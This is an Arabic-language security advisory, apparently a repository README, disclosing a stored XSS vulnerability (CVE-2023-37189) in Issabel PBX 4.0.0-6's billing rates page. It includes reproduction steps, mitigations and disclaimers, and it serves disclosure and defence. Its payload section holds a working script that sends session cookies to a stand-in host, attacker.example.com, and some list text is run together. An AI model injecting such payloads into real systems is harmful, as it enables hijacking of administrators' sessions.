
توجد ثغرة تخزين البرمجة النصية عبر المواقع (XSS) في إصدار Issabel PBX 4.0.0-6 ضمن صفحة إدارة معدّلات الفوترة (index.php?menu=billing_rates).
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2023-37189 |
| نوع الثغرة | تخزين البرمجة النصية عبر المواقع (Stored XSS) |
| المنتج المتأثر | Issabel PBX 4.0.0-6 |
| الرابط المتأثر | index.php?menu=billing_rates |
| الحقول القابلة للاستغلال | حقلا Name و Prefix في وحدة Create New Rate |
| الخطورة | متوسطة (CVSS 3.1 Base Score: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| تاريخ الإبلاغ | 07 يوليو 2023 |
| اكتشفها | Sahil Ojha |
| بيئة الاختبار | Windows |
| الصفحة الرسمية للمنتج | https://www.issabel.org/ |
| مصدر البرنامج | https://github.com/IssabelFoundation/issabelPBX |
توجد ثغرة تخزين البرمجة النصية عبر المواقع (Stored XSS) في Issabel PBX الإصدار 4.0.0-6 ضمن صفحة إدارة أسعار الفوترة (index.php?menu=billing_rates).
يُعد Issabel PBX منصة اتصالات موحّدة مفتوحة المصدر واسعة الاستخدام، مبنية على FreePBX/Asterisk. تتيح ميزة Billing → Rates للمسؤولين تعريف أسعار المكالمات بحقل Name وحقل Prefix مخصصين. نتيجةً لعدم كفاية تعقيم المدخلات وترميز المخرجات، يمكن لمهاجم مصادق حقن HTML أو JavaScript عشوائي في أيٍّ من الحقلين. يتم بعد ذلك تخزين البرنامج النصي الخبيث بشكل دائم في قاعدة بيانات التطبيق وتنفيذه تلقائيًا في متصفح أي مستخدم يزور صفحة Rates لاحقًا — بما في ذلك المسؤولون الآخرون — دون أي تفاعل إضافي.
هذا النوع من الثغرات خطير بشكل خاص في لوحات الإدارة للأسباب التالية:
Name و Prefix عند عرض القيم المخزنة مرة أخرى في الصفحة.الحمولات التالية، عند إدخالها في حقل Name أو Prefix في نموذج Create New Rate، تُظهر الثغرة:
تنبيه أساسي (اختبار الوظيفة):
<script>alert('XSS')</script>
سرقة ملف تعريف الارتباط للجلسة (استبدل attacker.example.com بخادم تملكه ومصرّح لك باستخدامه — لا تستهدف أبدًا مستخدمين أو أنظمة حقيقية):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
حمول قائم على حدث onerror للصور (لتجاوز جدار الحماية WAF):
⚠️ ملاحظة: هذه الحمولات مقدمة لأغراض تعليمية وبحوث أمنية فقط. احصل دائمًا على إذن كتابي صريح قبل الاختبار على أي نظام لا تملكه.
سجّل الدخول إلى واجهة الويب الخاصة بـ Issabel PBX باستخدام حساب مسؤول.
انتقل إلى Reports → Billing → Rates (الرابط: index.php?menu=billing_rates).
انقر على "Create New Rate" وأدخل حمول XSS مُعدًّا في حقل Prefix أو Name.

انقر على Save. يتم الآن تخزين الحمول في قاعدة البيانات.
أي مستخدم (بما في ذلك المسؤولون الآخرون) يزور صفحة Billing Rates سيتم تنفيذ البرنامج النصي تلقائيًا في متصفحه.


يُنصح البائع ومسؤولو الأنظمة بتطبيق الإجراءات المضادة التالية:
htmlspecialchars() في PHP مع ENT_QUOTES). هذا هو الدفاع الأساسي والأكثر موثوقية ضد XSS.<, >, ", ', &) قبل تخزين البيانات. لاحظ أن التحقق من المدخلات وحده يمكن تجاوزه ولا ينبغي الاعتماد عليه كإجراء وحيد.Content-Security-Policy لتقييد تنفيذ البرامج النصية المضمّنة (Inline Scripts).هذا المستودع والمعلومات الواردة فيه مقدمة لأغراض تعليمية وبحوث أمنية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن المعلومات المقدمة. احصل دائمًا على إذن كتابي صريح من مالك النظام قبل إجراء أي اختبار أمني.
اكتشفها وأبلغ عنها Sahil Ojha